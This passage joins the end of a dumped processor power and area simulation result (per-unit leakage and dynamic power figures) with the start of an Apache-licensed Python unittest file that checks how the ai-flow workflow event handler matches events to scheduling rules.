'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.62987,
'Load Store Unit/Runtime Dynamic': 0.844156,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0963822,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.192765,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Memory Management Unit/Peak Dynamic': 0.33428,
'Memory Management Unit/Runtime Dynamic': 0.0487918,
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'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 15.211,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
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'Renaming Unit/Free List/Area': 0.0340654,
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'Renaming Unit/Free List/Runtime Dynamic': 0.00582432,
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'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
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'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
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'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.59833,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
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'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
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'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Gate Leakage': 0.120359,
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'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
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'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.263018,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.132763,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.558846,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.1865,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.1878,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00683969,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0494597,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0505837,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0494597,
'Execution Unit/Register Files/Runtime Dynamic': 0.0574234,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.104198,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.272949,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.49728,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00218804,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00218804,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00198349,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000810344,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000726639,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.0070862,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0182022,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0486274,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 3.09312,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.16492,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.16516,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 5.46175,
'Instruction Fetch Unit/Runtime Dynamic': 0.403996,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.00550662,
'L2/Runtime Dynamic': 0.0018106,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.41466,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.568452,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0380961,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0380962,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.59455,
'Load Store Unit/Runtime Dynamic': 0.794426,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0939385,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.187877,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0333391,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0333972,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.192319,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0271089,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.405698,
'Memory Management Unit/Runtime Dynamic': 0.0605061,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 16.2448,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.0,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00735705,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.083223,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.0905801,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.8486,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 4.237132253581418,
'Runtime Dynamic': 4.237132253581418,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.214685,
'Runtime Dynamic': 0.0915058,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 68.6245,
'Peak Power': 101.737,
'Runtime Dynamic': 12.7177,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 68.4098,
'Total Cores/Runtime Dynamic': 12.6262,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.214685,
'Total L3s/Runtime Dynamic': 0.0915058,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
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0
| 7
|
5427cfa62446ffa1c6693a340ba2a9bcd4778d7f
| 20,738
|
py
|
Python
|
ai_flow/test/scheduler_service/service/test_workflow_event_handler.py
|
flink-extended/ai-flow
|
d1427a243097d94d77fedbe1966500ae26975a13
|
[
"Apache-2.0"
] | 79
|
2021-10-15T07:32:27.000Z
|
2022-03-28T04:10:19.000Z
|
ai_flow/test/scheduler_service/service/test_workflow_event_handler.py
|
flink-extended/ai-flow
|
d1427a243097d94d77fedbe1966500ae26975a13
|
[
"Apache-2.0"
] | 153
|
2021-10-15T05:23:46.000Z
|
2022-02-23T06:07:10.000Z
|
ai_flow/test/scheduler_service/service/test_workflow_event_handler.py
|
flink-extended/ai-flow
|
d1427a243097d94d77fedbe1966500ae26975a13
|
[
"Apache-2.0"
] | 23
|
2021-10-15T02:36:37.000Z
|
2022-03-17T02:59:27.000Z
|
# Copyright 2022 The AI Flow Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import unittest
import time
from ai_flow.meta.workflow_meta import WorkflowMeta
from ai_flow.scheduler_service.service.workflow_event_handler import WorkflowEventHandler, WorkflowHandlerState
from ai_flow.workflow.control_edge import WorkflowSchedulingRule, MeetAnyEventCondition, EventLife, ValueCondition, \
WorkflowAction, MeetAllEventCondition
from airflow.executors.scheduling_action import SchedulingAction
from notification_service.base_notification import BaseEvent
class TestWorkflowEventHandler(unittest.TestCase):
def setUp(self) -> None:
self.workflow_meta = WorkflowMeta('workflow', 0)
def test_one_config(self):
rule = WorkflowSchedulingRule(MeetAnyEventCondition().add_event(
event_key="key_1",
event_value="value_1",
sender="1-job-name",
value_condition=ValueCondition.EQUALS), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
def test_two_events_config(self):
condition = MeetAllEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name") \
.add_event(event_key="key_2", event_value="value_2", sender="1-job-name")
rule = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.NONE, action)
event: BaseEvent = BaseEvent(key='key_2',
value='value_2',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.START, action)
def test_two_rules(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name")
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
condition = MeetAllEventCondition() \
.add_event(event_key="key_2", event_value="value_2", sender="1-job-name")
rule2 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule1, rule2]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
def test_namespace_any(self):
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_value="value_1",
namespace="*",
sender="1-job-name"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='aa',
sender='1-job-name',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='bb',
sender='1-job-name',
create_time=int(time.time() * 1000 + 1))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.START, action)
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_value="value_1",
namespace="aa",
sender="1-job-name"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='bb',
sender='1-job-name',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.NONE, action)
def test_event_type_any(self):
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_type="*",
event_value="value_1",
namespace="aa",
sender="1-job-name"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
event_type='aa',
namespace='aa',
sender='1-job-name',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='aa',
event_type='bb',
sender='1-job-name',
create_time=int(time.time() * 1000 + 1))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.START, action)
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_type="aa",
event_value="value_1",
namespace="aa",
sender="1-job-name"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
event_type='bb',
namespace='aa',
sender='1-job-name',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.NONE, action)
def test_sender_any(self):
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_value="value_1",
namespace="aa",
sender="*"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='aa',
sender='aa',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='aa',
sender='bb',
create_time=int(time.time() * 1000 + 1))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_value="value_1",
namespace="aa",
sender="aa"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='aa',
sender='bb',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.NONE, action)
def test_key_any(self):
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="*",
event_value="value_1",
namespace="aa",
sender="aa"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1_1',
value='value_1',
namespace='aa',
sender='aa',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
event: BaseEvent = BaseEvent(key='key_1_2',
value='value_1',
namespace='aa',
sender='aa',
create_time=int(time.time() * 1000 + 1))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.START, action)
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="aa",
event_value="value_1",
namespace="aa",
sender="aa"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1_1',
value='value_1',
namespace='aa',
sender='aa',
create_time=int(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.NONE, action)
def test_multiple_any_config(self):
rule = WorkflowSchedulingRule(MeetAllEventCondition().add_event(
event_key="key_1",
event_value="value_1",
event_type="*",
namespace="*",
sender="1-job-name"), action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule]
handler = WorkflowEventHandler(self.workflow_meta)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, None)
self.assertEqual(SchedulingAction.START, action)
event: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='aa',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.NONE, action)
event: BaseEvent = BaseEvent(key='key_1_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event, ts)
self.assertEqual(SchedulingAction.NONE, action)
def test_event_handler_schedule_time(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name")
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
condition = MeetAllEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name") \
.add_event(event_key='key_2', event_value='value_2', sender="1-job-name")
rule2 = WorkflowSchedulingRule(condition, action=WorkflowAction.STOP)
self.workflow_meta.scheduling_rules = [rule1, rule2]
handler = WorkflowEventHandler(self.workflow_meta)
event1_time = round(time.time() * 1000)
event1: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=event1_time)
action, ts = handler.handle_event(event1, None)
ts: WorkflowHandlerState = ts
self.assertEqual(event1_time, ts.rule_states[0].schedule_time)
self.assertEqual(event1_time, ts.rule_states[0].latest_time)
self.assertNotEqual(event1_time, ts.rule_states[1].schedule_time)
self.assertEqual(event1_time, ts.rule_states[1].latest_time)
def test_two_rule_trigger_at_same_time_take_action_from_first_rule(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name")
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
condition = MeetAllEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name") \
.add_event(event_key='key_2', event_value='value_2', sender="1-job-name")
rule2 = WorkflowSchedulingRule(condition, action=WorkflowAction.STOP)
self.workflow_meta.scheduling_rules = [rule1, rule2]
handler = WorkflowEventHandler(self.workflow_meta)
event1: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
event2: BaseEvent = BaseEvent(key='key_2',
value='value_2',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event2, None)
self.assertEqual(SchedulingAction.NONE, action)
action, ts = handler.handle_event(event1, ts)
self.assertEqual(SchedulingAction.START, action)
def test_two_rules_trigger_will_clear_all_event_life(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name")
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
condition = MeetAllEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name") \
.add_event(event_key='key_2', event_value='value_2', sender="1-job-name")
rule2 = WorkflowSchedulingRule(condition, action=WorkflowAction.STOP)
self.workflow_meta.scheduling_rules = [rule1, rule2]
handler = WorkflowEventHandler(self.workflow_meta)
event1: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
event2: BaseEvent = BaseEvent(key='key_2',
value='value_2',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
action, ts = handler.handle_event(event2, None)
self.assertEqual(SchedulingAction.NONE, action)
action, ts = handler.handle_event(event1, ts)
self.assertEqual(SchedulingAction.START, action)
action, ts = handler.handle_event(event2, ts)
self.assertEqual(SchedulingAction.NONE, action)
def test_unordered_event_life_once(self):
condition = MeetAnyEventCondition() \
.add_event(event_key="key_1", event_value="value_1", sender="1-job-name")
rule1 = WorkflowSchedulingRule(condition, action=WorkflowAction.START)
self.workflow_meta.scheduling_rules = [rule1]
handler = WorkflowEventHandler(self.workflow_meta)
event1: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=round(time.time() * 1000))
event1_in_past: BaseEvent = BaseEvent(key='key_1',
value='value_1',
namespace='default',
sender='1-job-name',
create_time=0)
